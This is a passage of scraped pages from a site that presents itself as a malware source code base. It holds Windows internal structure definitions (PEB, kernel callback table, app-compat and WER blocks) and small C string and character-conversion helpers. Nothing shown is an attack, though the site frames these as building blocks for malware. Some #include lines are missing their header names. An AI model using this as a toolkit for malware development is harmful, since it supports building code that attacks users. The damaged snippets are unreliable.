__fnINCNTOUTSTRING; PFN_DISPATCH __fnINCNTOUTSTRINGNULL; PFN_DISPATCH __fnINLPCOMPAREITEMSTRUCT; PFN_DISPATCH __fnINLPCREATESTRUCT; PFN_DISPATCH __fnINLPDELETEITEMSTRUCT; PFN_DISPATCH __fnINLPDRAWITEMSTRUCT; PFN_DISPATCH __fnPOPTINLPUINT1; PFN_DISPATCH __fnPOPTINLPUINT2; PFN_DISPATCH __fnINLPMDICREATESTRUCT; PFN_DISPATCH __fnINOUTLPMEASUREITEMSTRUCT; PFN_DISPATCH __fnINLPWINDOWPOS; PFN_DISPATCH __fnINOUTLPPOINT51; PFN_DISPATCH __fnINOUTLPSCROLLINFO; PFN_DISPATCH __fnINOUTLPRECT; PFN_DISPATCH __fnINOUTNCCALCSIZE; PFN_DISPATCH __fnINOUTLPPOINT52; PFN_DISPATCH __fnINPAINTCLIPBRD; PFN_DISPATCH __fnINSIZECLIPBRD; PFN_DISPATCH __fnINDESTROYCLIPBRD; PFN_DISPATCH __fnINSTRINGNULL1; PFN_DISPATCH __fnINSTRINGNULL2; PFN_DISPATCH __fnINDEVICECHANGE; PFN_DISPATCH __fnPOWERBROADCAST; PFN_DISPATCH __fnINLPUAHDRAWMENU1; PFN_DISPATCH __fnOPTOUTLPDWORDOPTOUTLPDWORD1; PFN_DISPATCH __fnOPTOUTLPDWORDOPTOUTLPDWORD2; PFN_DISPATCH __fnOUTDWORDINDWORD; PFN_DISPATCH __fnOUTLPRECT; PFN_DISPATCH __fnOUTSTRING; PFN_DISPATCH __fnPOPTINLPUINT3; PFN_DISPATCH __fnPOUTLPINT; PFN_DISPATCH __fnSENTDDEMSG; PFN_DISPATCH __fnINOUTSTYLECHANGE1; PFN_DISPATCH __fnHkINDWORD; PFN_DISPATCH __fnHkINLPCBTACTIVATESTRUCT; PFN_DISPATCH __fnHkINLPCBTCREATESTRUCT; PFN_DISPATCH __fnHkINLPDEBUGHOOKSTRUCT; PFN_DISPATCH __fnHkINLPMOUSEHOOKSTRUCTEX1; PFN_DISPATCH __fnHkINLPKBDLLHOOKSTRUCT; PFN_DISPATCH __fnHkINLPMSLLHOOKSTRUCT; PFN_DISPATCH __fnHkINLPMSG; PFN_DISPATCH __fnHkINLPRECT; PFN_DISPATCH __fnHkOPTINLPEVENTMSG; PFN_DISPATCH __xxxClientCallDelegateThread; PFN_DISPATCH __ClientCallDummyCallback1; PFN_DISPATCH __ClientCallDummyCallback2; PFN_DISPATCH __fnSHELLWINDOWMANAGEMENTCALLOUT; PFN_DISPATCH __fnSHELLWINDOWMANAGEMENTNOTIFY; PFN_DISPATCH __ClientCallDummyCallback3; PFN_DISPATCH __xxxClientCallDitThread; PFN_DISPATCH __xxxClientEnableMMCSS; PFN_DISPATCH __xxxClientUpdateDpi; PFN_DISPATCH __xxxClientExpandStringW; PFN_DISPATCH __ClientCopyDDEIn1; PFN_DISPATCH __ClientCopyDDEIn2; PFN_DISPATCH __ClientCopyDDEOut1; PFN_DISPATCH __ClientCopyDDEOut2; PFN_DISPATCH __ClientCopyImage; PFN_DISPATCH __ClientEventCallback; PFN_DISPATCH __ClientFindMnemChar; PFN_DISPATCH __ClientFreeDDEHandle; PFN_DISPATCH __ClientFreeLibrary; PFN_DISPATCH __ClientGetCharsetInfo; PFN_DISPATCH __ClientGetDDEFlags; PFN_DISPATCH __ClientGetDDEHookData; PFN_DISPATCH __ClientGetListboxString; PFN_DISPATCH __ClientGetMessageMPH; PFN_DISPATCH __ClientLoadImage; PFN_DISPATCH __ClientLoadLibrary; PFN_DISPATCH __ClientLoadMenu; PFN_DISPATCH __ClientLoadLocalT1Fonts; PFN_DISPATCH __ClientPSMTextOut; PFN_DISPATCH __ClientLpkDrawTextEx; PFN_DISPATCH __ClientExtTextOutW; PFN_DISPATCH __ClientGetTextExtentPointW; PFN_DISPATCH __ClientCharToWchar; PFN_DISPATCH __ClientAddFontResourceW; PFN_DISPATCH __ClientThreadSetup; PFN_DISPATCH __ClientDeliverUserApc; PFN_DISPATCH __ClientNoMemoryPopup; PFN_DISPATCH __ClientMonitorEnumProc; PFN_DISPATCH __ClientCallWinEventProc; PFN_DISPATCH __ClientWaitMessageExMPH; PFN_DISPATCH __ClientCallDummyCallback4; PFN_DISPATCH __ClientCallDummyCallback5; PFN_DISPATCH __ClientImmLoadLayout; PFN_DISPATCH __ClientImmProcessKey; PFN_DISPATCH __fnIMECONTROL; PFN_DISPATCH __fnINWPARAMDBCSCHAR; PFN_DISPATCH __fnGETTEXTLENGTHS2; PFN_DISPATCH __ClientCallDummyCallback6; PFN_DISPATCH __ClientLoadStringW; PFN_DISPATCH __ClientLoadOLE; PFN_DISPATCH __ClientRegisterDragDrop; PFN_DISPATCH __ClientRevokeDragDrop; PFN_DISPATCH __fnINOUTMENUGETOBJECT; PFN_DISPATCH __ClientPrinterThunk; PFN_DISPATCH __fnOUTLPCOMBOBOXINFO; PFN_DISPATCH __fnOUTLPSCROLLBARINFO; PFN_DISPATCH __fnINLPUAHDRAWMENU2; PFN_DISPATCH __fnINLPUAHDRAWMENUITEM; PFN_DISPATCH __fnINLPUAHDRAWMENU3; PFN_DISPATCH __fnINOUTLPUAHMEASUREMENUITEM; PFN_DISPATCH __fnINLPUAHDRAWMENU4; PFN_DISPATCH __fnOUTLPTITLEBARINFOEX; PFN_DISPATCH __fnTOUCH; PFN_DISPATCH __fnGESTURE; PFN_DISPATCH __fnPOPTINLPUINT4; PFN_DISPATCH __fnPOPTINLPUINT5; PFN_DISPATCH __xxxClientCallDefaultInputHandler; PFN_DISPATCH __fnEMPTY2; PFN_DISPATCH __ClientRimDevCallback; PFN_DISPATCH __xxxClientCallMinTouchHitTestingCallback; PFN_DISPATCH __ClientCallLocalMouseHooks; PFN_DISPATCH __xxxClientBroadcastThemeChange; PFN_DISPATCH __xxxClientCallDevCallbackSimple; PFN_DISPATCH __xxxClientAllocWindowClassExtraBytes; PFN_DISPATCH __xxxClientFreeWindowClassExtraBytes; PFN_DISPATCH __fnGETWINDOWDATA; PFN_DISPATCH __fnINOUTSTYLECHANGE2; PFN_DISPATCH __fnHkINLPMOUSEHOOKSTRUCTEX2; PFN_DISPATCH __xxxClientCallDefWindowProc; PFN_DISPATCH __fnSHELLSYNCDISPLAYCHANGED; PFN_DISPATCH __fnHkINLPCHARHOOKSTRUCT; PFN_DISPATCH __fnINTERCEPTEDWINDOWACTION; PFN_DISPATCH __xxxTooltipCallback; PFN_DISPATCH __xxxClientInitPSBInfo; PFN_DISPATCH __xxxClientDoScrollMenu; PFN_DISPATCH __xxxClientEndScroll; PFN_DISPATCH __xxxClientDrawSize; PFN_DISPATCH __xxxClientDrawScrollBar; PFN_DISPATCH __xxxClientHitTestScrollBar; PFN_DISPATCH __xxxClientTrackInit; } KERNEL_CALLBACK_TABLE, * PKERNEL_CALLBACK_TABLE; typedef struct _API_SET_NAMESPACE{ ULONG Version; ULONG Size; ULONG Flags; ULONG Count; ULONG EntryOffset; ULONG HashOffset; ULONG HashFactor; } API_SET_NAMESPACE, * PAPI_SET_NAMESPACE; typedef struct _RTL_BITMAP{ ULONG SizeOfBitMap; PULONG Buffer; } RTL_BITMAP, * PRTL_BITMAP; typedef enum _NT_PRODUCT_TYPE { NtProductWinNt = 1, NtProductLanManNt, NtProductServer } NT_PRODUCT_TYPE, * PNT_PRODUCT_TYPE; typedef struct _KSYSTEM_TIME { ULONG LowPart; LONG High1Time; LONG High2Time; } KSYSTEM_TIME, * PKSYSTEM_TIME; typedef struct _SILO_USER_SHARED_DATA { ULONG ServiceSessionId; ULONG ActiveConsoleId; LONGLONG ConsoleSessionForegroundProcessId; NT_PRODUCT_TYPE NtProductType; ULONG SuiteMask; ULONG SharedUserSessionId; BOOLEAN IsMultiSessionSku; BOOLEAN IsStateSeparationEnabled; WCHAR NtSystemRoot[260]; USHORT UserModeGlobalLogger[16]; ULONG TimeZoneId; LONG TimeZoneBiasStamp; KSYSTEM_TIME TimeZoneBias; LARGE_INTEGER TimeZoneBiasEffectiveStart; LARGE_INTEGER TimeZoneBiasEffectiveEnd; } SILO_USER_SHARED_DATA, * PSILO_USER_SHARED_DATA; typedef struct _CPTABLEINFO { USHORT CodePage; // Specifies the code page number. USHORT MaximumCharacterSize; // Specifies the maximum length in bytes of a character. USHORT DefaultChar; // Specifies the default character (MB). USHORT UniDefaultChar; // Specifies the default character (Unicode). USHORT TransDefaultChar; // Specifies the translation of the default character (Unicode). USHORT TransUniDefaultChar; // Specifies the translation of the Unicode default character (MB). USHORT DBCSCodePage; // Specifies non-zero for DBCS code pages. UCHAR LeadByte[MAXIMUM_LEADBYTES]; // Specifies the lead byte ranges. PUSHORT MultiByteTable; // Specifies a pointer to a MB translation table. PVOID WideCharTable; // Specifies a pointer to a WC translation table. PUSHORT DBCSRanges; // Specifies a pointer to DBCS ranges. PUSHORT DBCSOffsets; // Specifies a pointer to DBCS offsets. } CPTABLEINFO, * PCPTABLEINFO; typedef struct _NLSTABLEINFO { CPTABLEINFO OemTableInfo; // Specifies OEM table. CPTABLEINFO AnsiTableInfo; // Specifies an ANSI table. PUSHORT UpperCaseTable; // Specifies an 844 format uppercase table. PUSHORT LowerCaseTable; // Specifies an 844 format lowercase table. } NLSTABLEINFO, * PNLSTABLEINFO; typedef struct tagSDBQUERYRESULT { ULONG Exes[16]; ULONG ExeFlags[16]; ULONG Layers[8]; ULONG LayerFlags; ULONG AppHelp; ULONG ExeCount; ULONG LayerCount; GUID ID; ULONG ExtraFlags; ULONG CustomSDBMap; GUID DB[16]; } SDBQUERYRESULT, * PSDBQUERYRESULT; typedef struct tagSWITCH_CONTEXT_ATTRIBUTE { ULONG_PTR ContextUpdateCounter; BOOL AllowContextUpdate; BOOL EnableTrace; HANDLE EtwHandle; } SWITCH_CONTEXT_ATTRIBUTE, * PSWITCH_CONTEXT_ATTRIBUTE; typedef struct tagSWITCH_CONTEXT_DATA { ULONGLONG OsMaxVersionTested; ULONG TargetPlatform; ULONGLONG ContextMinimum; GUID Platform; GUID MinPlatform; ULONG ContextSource; ULONG ElementCount; GUID Elements[48]; } SWITCH_CONTEXT_DATA, * PSWITCH_CONTEXT_DATA; typedef struct tagSWITCH_CONTEXT { SWITCH_CONTEXT_ATTRIBUTE Attribute; SWITCH_CONTEXT_DATA Data; } SWITCH_CONTEXT, * PSWITCH_CONTEXT; typedef struct _SDB_CSTRUCT_COBALT_PROCFLAG { KAFFINITY AffinityMask; ULONG CPUIDEcxOverride; ULONG CPUIDEdxOverride; USHORT ProcessorGroup; USHORT FastSelfModThreshold; USHORT Reserved1; UCHAR Reserved2; UCHAR BackgroundWork : 5; UCHAR CPUIDBrand : 4; UCHAR Reserved3 : 4; UCHAR RdtscScaling : 3; UCHAR Reserved4 : 2; UCHAR UnalignedAtomicApproach : 2; UCHAR Win11Atomics : 2; UCHAR RunOnSingleCore : 1; UCHAR X64CPUID : 1; UCHAR PatchUnaligned : 1; UCHAR InterpreterOrJitter : 1; UCHAR ForceSegmentHeap : 1; UCHAR Reserved5 : 1; UCHAR Reserved6 : 1; union { ULONGLONG Group1AsUINT64; struct _SDB_CSTRUCT_COBALT_PROCFLAG* Specified; }; } SDB_CSTRUCT_COBALT_PROCFLAG, * PSDB_CSTRUCT_COBALT_PROCFLAG; typedef struct _APPCOMPAT_EXE_DATA { ULONG_PTR Reserved[65]; ULONG Size; ULONG Magic; BOOL LoadShimEngine; USHORT ExeType; SDBQUERYRESULT SdbQueryResult; ULONG_PTR DbgLogChannels[128]; SWITCH_CONTEXT SwitchContext; ULONG ParentProcessId; WCHAR ParentImageName[260]; WCHAR ParentCompatLayers[256]; WCHAR ActiveCompatLayers[256]; ULONG ImageFileSize; ULONG ImageCheckSum; BOOL LatestOs; BOOL PackageId; BOOL SwitchBackManifest; BOOL UacManifest; BOOL LegacyInstaller; ULONG RunLevel; ULONG_PTR WinRTFlags; PVOID HookCOM; PVOID ComponentOnDemandEvent; PVOID Quirks; ULONG QuirksSize; SDB_CSTRUCT_COBALT_PROCFLAG CobaltProcFlags; ULONG FullMatchDbSizeCb; ULONG FullMatchDbOffset; } APPCOMPAT_EXE_DATA, *PAPPCOMPAT_EXE_DATA; typedef struct _GDI_HANDLE_ENTRY { union { PVOID Object; PVOID NextFree; }; union { struct { USHORT ProcessId; USHORT Lock : 1; USHORT Count : 15; }; ULONG Value; } Owner; USHORT Unique; UCHAR Type; UCHAR Flags; PVOID UserPointer; } GDI_HANDLE_ENTRY, * PGDI_HANDLE_ENTRY; typedef struct _ASSEMBLY_STORAGE_MAP_ENTRY { ULONG Flags; UNICODE_STRING DosPath; HANDLE Handle; } ASSEMBLY_STORAGE_MAP_ENTRY, * PASSEMBLY_STORAGE_MAP_ENTRY; typedef struct _ACTIVATION_CONTEXT_DATA { ULONG Magic; ULONG HeaderSize; ULONG FormatVersion; ULONG TotalSize; ULONG DefaultTocOffset; // to ACTIVATION_CONTEXT_DATA_TOC_HEADER ULONG ExtendedTocOffset; // to ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_HEADER ULONG AssemblyRosterOffset; // to ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER ULONG Flags; // ACTIVATION_CONTEXT_FLAG_* } ACTIVATION_CONTEXT_DATA, * PACTIVATION_CONTEXT_DATA; typedef struct _ASSEMBLY_STORAGE_MAP { ULONG Flags; ULONG AssemblyCount; PASSEMBLY_STORAGE_MAP_ENTRY* AssemblyArray; } ASSEMBLY_STORAGE_MAP, * PASSEMBLY_STORAGE_MAP; typedef struct _WER_RECOVERY_INFO { ULONG Length; PVOID Callback; PVOID Parameter; HANDLE Started; HANDLE Finished; HANDLE InProgress; LONG LastError; BOOL Successful; ULONG PingInterval; ULONG Flags; } WER_RECOVERY_INFO, * PWER_RECOVERY_INFO; typedef struct _WER_FILE { USHORT Flags; WCHAR Path[MAX_PATH]; } WER_FILE, * PWER_FILE; typedef struct _WER_MEMORY { PVOID Address; ULONG Size; } WER_MEMORY, * PWER_MEMORY; typedef struct _WER_GATHER { PVOID Next; USHORT Flags; union { WER_FILE File; WER_MEMORY Memory; } v; } WER_GATHER, * PWER_GATHER; typedef struct _WER_METADATA { PVOID Next; WCHAR Key[64]; WCHAR Value[128]; } WER_METADATA, * PWER_METADATA; typedef struct _WER_RUNTIME_DLL { PVOID Next; ULONG Length; PVOID Context; WCHAR CallbackDllPath[MAX_PATH]; } WER_RUNTIME_DLL, * PWER_RUNTIME_DLL; typedef struct _WER_DUMP_COLLECTION { PVOID Next; ULONG ProcessId; ULONG ThreadId; } WER_DUMP_COLLECTION, * PWER_DUMP_COLLECTION; typedef struct _WER_HEAP_MAIN_HEADER { WCHAR Signature[16]; LIST_ENTRY Links; HANDLE Mutex; PVOID FreeHeap; ULONG FreeCount; } WER_HEAP_MAIN_HEADER, * PWER_HEAP_MAIN_HEADER; typedef struct _WER_PEB_HEADER_BLOCK { LONG Length; WCHAR Signature[16]; WCHAR AppDataRelativePath[64]; WCHAR RestartCommandLine[RESTART_MAX_CMD_LINE]; WER_RECOVERY_INFO RecoveryInfo; PWER_GATHER Gather; PWER_METADATA MetaData; PWER_RUNTIME_DLL RuntimeDll; PWER_DUMP_COLLECTION DumpCollection; LONG GatherCount; LONG MetaDataCount; LONG DumpCount; LONG Flags; WER_HEAP_MAIN_HEADER MainHeader; PVOID Reserved; } WER_PEB_HEADER_BLOCK, * PWER_PEB_HEADER_BLOCK; typedef struct _TELEMETRY_COVERAGE_HEADER { UCHAR MajorVersion; UCHAR MinorVersion; struct { USHORT TracingEnabled : 1; USHORT Reserved1 : 15; }; ULONG HashTableEntries; ULONG HashIndexMask; ULONG TableUpdateVersion; ULONG TableSizeInBytes; ULONG LastResetTick; ULONG ResetRound; ULONG Reserved2; ULONG RecordedCount; ULONG Reserved3[4]; ULONG HashTable[ANYSIZE_ARRAY]; } TELEMETRY_COVERAGE_HEADER, * PTELEMETRY_COVERAGE_HEADER; typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { BOOLEAN BitField; struct { BOOLEAN ImageUsesLargePages : 1; // The process uses large image regions (4 MB). BOOLEAN IsProtectedProcess : 1; // The process is a protected process. BOOLEAN IsImageDynamicallyRelocated : 1; // The process image base address was relocated. BOOLEAN SkipPatchingUser32Forwarders : 1; // The process skipped forwarders for User32.dll functions. 1 for 64-bit, 0 for 32-bit. BOOLEAN IsPackagedProcess : 1; // The process is a packaged store process (APPX/MSIX). BOOLEAN IsAppContainerProcess : 1; // The process has an AppContainer token. BOOLEAN IsProtectedProcessLight : 1; // The process is a protected process (light). BOOLEAN IsLongPathAwareProcess : 1; // The process is long path aware. }; }; HANDLE Mutant; PVOID ImageBase; PPEB_LDR_DATA LoaderData; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PRTL_CRITICAL_SECTION FastPebLock; PSLIST_HEADER AtlThunkSListPtr; HANDLE IFEOKey; union { ULONG CrossProcessFlags; struct { ULONG ProcessInJob : 1; // The process is part of a job. ULONG ProcessInitializing : 1; // The process is initializing. ULONG ProcessUsingVEH : 1; // The process is using VEH. ULONG ProcessUsingVCH : 1; // The process is using VCH. ULONG ProcessUsingFTH : 1; // The process is using FTH. ULONG ProcessPreviouslyThrottled : 1; // The process was previously throttled. ULONG ProcessCurrentlyThrottled : 1; // The process is currently throttled. ULONG ProcessImagesHotPatched : 1; // The process images are hot patched. // RS5 ULONG ReservedBits0 : 24; }; }; union { PKERNEL_CALLBACK_TABLE KernelCallbackTable; PVOID UserSharedInfoPtr; }; ULONG SystemReserved; ULONG AtlThunkSListPtr32; PAPI_SET_NAMESPACE ApiSetMap; ULONG TlsExpansionCounter; PRTL_BITMAP TlsBitmap; ULONG TlsBitmapBits[2]; PVOID ReadOnlySharedMemoryBase; PSILO_USER_SHARED_DATA SharedData; PVOID* ReadOnlyStaticServerData; PCPTABLEINFO AnsiCodePageData; PCPTABLEINFO OemCodePageData; PNLSTABLEINFO UnicodeCaseTableData; ULONG NumberOfProcessors; union { ULONG NtGlobalFlag; struct { ULONG StopOnException : 1; // FLG_STOP_ON_EXCEPTION ULONG ShowLoaderSnaps : 1; // FLG_SHOW_LDR_SNAPS ULONG DebugInitialCommand : 1; // FLG_DEBUG_INITIAL_COMMAND ULONG StopOnHungGUI : 1; // FLG_STOP_ON_HUNG_GUI ULONG HeapEnableTailCheck : 1; // FLG_HEAP_ENABLE_TAIL_CHECK ULONG HeapEnableFreeCheck : 1; // FLG_HEAP_ENABLE_FREE_CHECK ULONG HeapValidateParameters : 1; // FLG_HEAP_VALIDATE_PARAMETERS ULONG HeapValidateAll : 1; // FLG_HEAP_VALIDATE_ALL ULONG ApplicationVerifier : 1; // FLG_APPLICATION_VERIFIER ULONG MonitorSilentProcessExit : 1; // FLG_MONITOR_SILENT_PROCESS_EXIT ULONG PoolEnableTagging : 1; // FLG_POOL_ENABLE_TAGGING ULONG HeapEnableTagging : 1; // FLG_HEAP_ENABLE_TAGGING ULONG UserStackTraceDb : 1; // FLG_USER_STACK_TRACE_DB ULONG KernelStackTraceDb : 1; // FLG_KERNEL_STACK_TRACE_DB ULONG MaintainObjectTypeList : 1; // FLG_MAINTAIN_OBJECT_TYPELIST ULONG HeapEnableTagByDll : 1; // FLG_HEAP_ENABLE_TAG_BY_DLL ULONG DisableStackExtension : 1; // FLG_DISABLE_STACK_EXTENSION ULONG EnableCsrDebug : 1; // FLG_ENABLE_CSRDEBUG ULONG EnableKDebugSymbolLoad : 1; // FLG_ENABLE_KDEBUG_SYMBOL_LOAD ULONG DisablePageKernelStacks : 1; // FLG_DISABLE_PAGE_KERNEL_STACKS ULONG EnableSystemCritBreaks : 1; // FLG_ENABLE_SYSTEM_CRIT_BREAKS ULONG HeapDisableCoalescing : 1; // FLG_HEAP_DISABLE_COALESCING ULONG EnableCloseExceptions : 1; // FLG_ENABLE_CLOSE_EXCEPTIONS ULONG EnableExceptionLogging : 1; // FLG_ENABLE_EXCEPTION_LOGGING ULONG EnableHandleTypeTagging : 1; // FLG_ENABLE_HANDLE_TYPE_TAGGING ULONG HeapPageAllocs : 1; // FLG_HEAP_PAGE_ALLOCS ULONG DebugInitialCommandEx : 1; // FLG_DEBUG_INITIAL_COMMAND_EX ULONG DisableDbgPrint : 1; // FLG_DISABLE_DBGPRINT ULONG CritSecEventCreation : 1; // FLG_CRITSEC_EVENT_CREATION ULONG LdrTopDown : 1; // FLG_LDR_TOP_DOWN ULONG EnableHandleExceptions : 1; // FLG_ENABLE_HANDLE_EXCEPTIONS ULONG DisableProtDlls : 1; // FLG_DISABLE_PROTDLLS } NtGlobalFlags; }; LARGE_INTEGER CriticalSectionTimeout; SIZE_T HeapSegmentReserve; SIZE_T HeapSegmentCommit; SIZE_T HeapDeCommitTotalFreeThreshold; SIZE_T HeapDeCommitFreeBlockThreshold; ULONG NumberOfHeaps; ULONG MaximumNumberOfHeaps; PVOID* ProcessHeaps; PGDI_HANDLE_ENTRY GdiSharedHandleTable; PVOID ProcessStarterHelper; ULONG GdiDCAttributeList; PRTL_CRITICAL_SECTION LoaderLock; ULONG OSMajorVersion; ULONG OSMinorVersion; USHORT OSBuildNumber; USHORT OSCSDVersion; ULONG OSPlatformId; ULONG ImageSubsystem; ULONG ImageSubsystemMajorVersion; ULONG ImageSubsystemMinorVersion; KAFFINITY ActiveProcessAffinityMask; GDI_HANDLE_BUFFER GdiHandleBuffer; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; PRTL_BITMAP TlsExpansionBitmap; ULONG TlsExpansionBitmapBits[32]; ULONG SessionId; ULARGE_INTEGER AppCompatFlags; ULARGE_INTEGER AppCompatFlagsUser; PVOID pShimData; PAPPCOMPAT_EXE_DATA AppCompatInfo; UNICODE_STRING CSDVersion; PACTIVATION_CONTEXT_DATA ActivationContextData; PASSEMBLY_STORAGE_MAP ProcessAssemblyStorageMap; PACTIVATION_CONTEXT_DATA SystemDefaultActivationContextData; PASSEMBLY_STORAGE_MAP SystemAssemblyStorageMap; SIZE_T MinimumStackCommit; PVOID SparePointers[2]; PVOID PatchLoaderData; PVOID ChpeV2ProcessInfo; ULONG AppModelFeatureState; ULONG SpareUlongs[2]; USHORT ActiveCodePage; USHORT OemCodePage; USHORT UseCaseMapping; USHORT UnusedNlsField; PWER_PEB_HEADER_BLOCK WerRegistrationData; PVOID WerShipAssertPtr; union { PVOID pContextData; // Pointer to the switchback compatibility engine (Windows 7 and below) PVOID EcCodeBitMap; // Pointer to the EC bitmap on ARM64 (Windows 11 and above) // since WIN11 }; PVOID ImageHeaderHash; union { ULONG TracingFlags; struct { ULONG HeapTracingEnabled : 1; // ETW heap tracing enabled. ULONG CritSecTracingEnabled : 1; // ETW lock tracing enabled. ULONG LibLoaderTracingEnabled : 1; // ETW loader tracing enabled. ULONG SpareTracingBits : 29; }; }; ULONGLONG CsrServerReadOnlySharedMemoryBase; PRTL_CRITICAL_SECTION TppWorkerpListLock; LIST_ENTRY TppWorkerpList; PVOID WaitOnAddressHashTable[128]; PTELEMETRY_COVERAGE_HEADER TelemetryCoverageHeader; ULONG CloudFileFlags; ULONG CloudFileDiagFlags; CHAR PlaceholderCompatibilityMode; CHAR PlaceholderCompatibilityModeReserved[7]; PLEAP_SECOND_DATA LeapSecondData; union { ULONG LeapSecondFlags; struct { ULONG SixtySecondEnabled : 1; // Leap seconds enabled. ULONG Reserved : 31; }; }; ULONG NtGlobalFlag2; ULONGLONG ExtendedFeatureDisableMask; } PEB, * PPEB; [PreviousHeaders](https://malwaresourcecode.com/home/code-base/headers) [NextTEB (Thread Environment Block)](https://malwaresourcecode.com/home/code-base/headers/teb-thread-environment-block) Last updated 2 days ago --- # StringLength | malware source code [StringLengthW](https://malwaresourcecode.com/home/code-base/markdown/stringlength/stringlengthw) [StringLengthW2](https://malwaresourcecode.com/home/code-base/markdown/stringlength/stringlengthw2) [PreviousStringCopy](https://malwaresourcecode.com/home/code-base/markdown/stringcopy) [NextStringLengthW](https://malwaresourcecode.com/home/code-base/markdown/stringlength/stringlengthw) --- # StringLocateChar | malware source code Copy PCHAR StringLocateCharA(_Inout_ PCHAR String, _In_ INT Character) { do { if (*String == Character) return (PCHAR)String; } while (*String++); return NULL; } PWCHAR StringLocateCharW(_Inout_ PWCHAR String, _In_ INT Character) { do { if (*String == Character) return (PWCHAR)String; } while (*String++); return NULL; } [PreviousStringLengthW2](https://malwaresourcecode.com/home/code-base/markdown/stringlength/stringlengthw2) [NextWCHAR to CHAR](https://malwaresourcecode.com/home/code-base/markdown/wchar-to-char) Last updated 8 days ago --- # WCHAR to CHAR | malware source code [WCharToCharUnsafe](https://malwaresourcecode.com/home/code-base/markdown/wchar-to-char/wchartocharunsafe) [WCharToCharSafe](https://malwaresourcecode.com/home/code-base/markdown/wchar-to-char/wchartocharsafe) [ShlwapiWcharToChar](https://malwaresourcecode.com/home/code-base/markdown/wchar-to-char/shlwapiwchartochar) [PreviousStringLocateChar](https://malwaresourcecode.com/home/code-base/markdown/stringlocatechar) [NextWCharToCharUnsafe](https://malwaresourcecode.com/home/code-base/markdown/wchar-to-char/wchartocharunsafe) --- # ByteArrayToCharArray | malware source code Copy VOID ByteArrayToCharArrayA(_Inout_ PCHAR Destination, _In_ PBYTE Source, _In_ DWORD Length) { for (DWORD dwX = 0; dwX < Length; dwX++) Destination[dwX] = (BYTE)Source[dwX]; } VOID ByteArrayToCharArrayW(_Inout_ PWCHAR Destination, _In_ PBYTE Source, _In_ DWORD Length) { for (DWORD dwX = 0; dwX < Length; dwX++) Destination[dwX] = (BYTE)Source[dwX]; } [PreviousShlwapiCharStringToWCharString](https://malwaresourcecode.com/home/code-base/markdown/char-to-wchar/shlwapicharstringtowcharstring) [NextCharArrayToByteArray](https://malwaresourcecode.com/home/code-base/markdown/chararraytobytearray) Last updated 8 days ago --- # StringLengthW2 | malware source code Copy #include INT StringLengthW2(_In_ LPCWSTR String) { INT Length = 0; while (String && String[Length]) ++Length; return Length; } INT main(VOID) { WCHAR String1[] = L"I like cats a lot"; INT Length = 0; Length = StringLengthW2(String1); return ERROR_SUCCESS; } [PreviousStringLengthW](https://malwaresourcecode.com/home/code-base/markdown/stringlength/stringlengthw) [NextStringLocateChar](https://malwaresourcecode.com/home/code-base/markdown/stringlocatechar) Last updated 1 day ago --- # StringLengthW | malware source code Copy #include SIZE_T StringLengthW(_In_ LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } INT main(VOID) { WCHAR String1[] = L"I like cats a lot"; SIZE_T Length = 0; Length = StringLengthW(String1); return ERROR_SUCCESS; } [PreviousStringLength](https://malwaresourcecode.com/home/code-base/markdown/stringlength) [NextStringLengthW2](https://malwaresourcecode.com/home/code-base/markdown/stringlength/stringlengthw2) Last updated 1 day ago --- # CharArrayToByteArray | malware source code Copy VOID CharArrayToByteArrayA(_In_ PCHAR Char, _Inout_ PBYTE Byte, _In_ DWORD Length) { for (DWORD dwX = 0; dwX < Length; dwX++) Byte[dwX] = (BYTE)Char[dwX]; } VOID CharArrayToByteArrayW(_In_ PWCHAR Char, _Inout_ PBYTE Byte, _In_ DWORD Length) { for (DWORD dwX = 0; dwX < Length; dwX++) Byte[dwX] = (BYTE)Char[dwX]; } [PreviousByteArrayToCharArray](https://malwaresourcecode.com/home/code-base/markdown/bytearraytochararray) [NextStringTerminateStringAtChar](https://malwaresourcecode.com/home/code-base/markdown/stringterminatestringatchar) Last updated 8 days ago --- # CHAR to WCHAR | malware source code [CharStringToWCharString](https://malwaresourcecode.com/home/code-base/markdown/char-to-wchar/charstringtowcharstring) [ShlwapiCharStringToWCharString](https://malwaresourcecode.com/home/code-base/markdown/char-to-wchar/shlwapicharstringtowcharstring) [PreviousShlwapiWcharToChar](https://malwaresourcecode.com/home/code-base/markdown/wchar-to-char/shlwapiwchartochar) [NextCharStringToWCharString](https://malwaresourcecode.com/home/code-base/markdown/char-to-wchar/charstringtowcharstring) --- # CharStringToWCharString | malware source code Copy SIZE_T CharStringToWCharString(_Inout_ PWCHAR Destination, _In_ PCHAR Source, SIZE_T _In_ MaximumAllowed) { INT Length = (INT)MaximumAllowed; while (--Length >= 0) { if (!(*Destination++ = *Source++)) return MaximumAllowed - Length - 1; } return MaximumAllowed - Length; } [PreviousCHAR to WCHAR](https://malwaresourcecode.com/home/code-base/markdown/char-to-wchar) [NextShlwapiCharStringToWCharString](https://malwaresourcecode.com/home/code-base/markdown/char-to-wchar/shlwapicharstringtowcharstring) Last updated 8 days ago --- # ShlwapiCharStringToWCharString | malware source code Copy INT ShlwapiCharStringToWCharString(_In_ PCHAR InString, _Inout_ PWCHAR OutString, _In_ INT BufferSize) { return SHAnsiToUnicode(InString, OutString, BufferSize); } [PreviousCharStringToWCharString](https://malwaresourcecode.com/home/code-base/markdown/char-to-wchar/charstringtowcharstring) [NextByteArrayToCharArray](https://malwaresourcecode.com/home/code-base/markdown/bytearraytochararray) Last updated 8 days ago --- # ShlwapiWcharToChar | malware source code Copy #include #include #pragma comment(lib, "Shlwapi.lib") INT ShlwapiWCharStringToCharString(PWCHAR InString, PCHAR OutString, INT BufferSize) { return SHUnicodeToAnsi(InString, OutString, BufferSize); } INT main(VOID) { WCHAR String1[] = L"I like cats a lot"; CHAR String2[256] = { 0 }; SIZE_T Length = 0; Length = ShlwapiWCharStringToCharString(String1, String2, 256); return ERROR_SUCCESS; } [PreviousWCharToCharSafe](https://malwaresourcecode.com/home/code-base/markdown/wchar-to-char/wchartocharsafe) [NextCHAR to WCHAR](https://malwaresourcecode.com/home/code-base/markdown/char-to-wchar) Last updated 1 day ago --- # 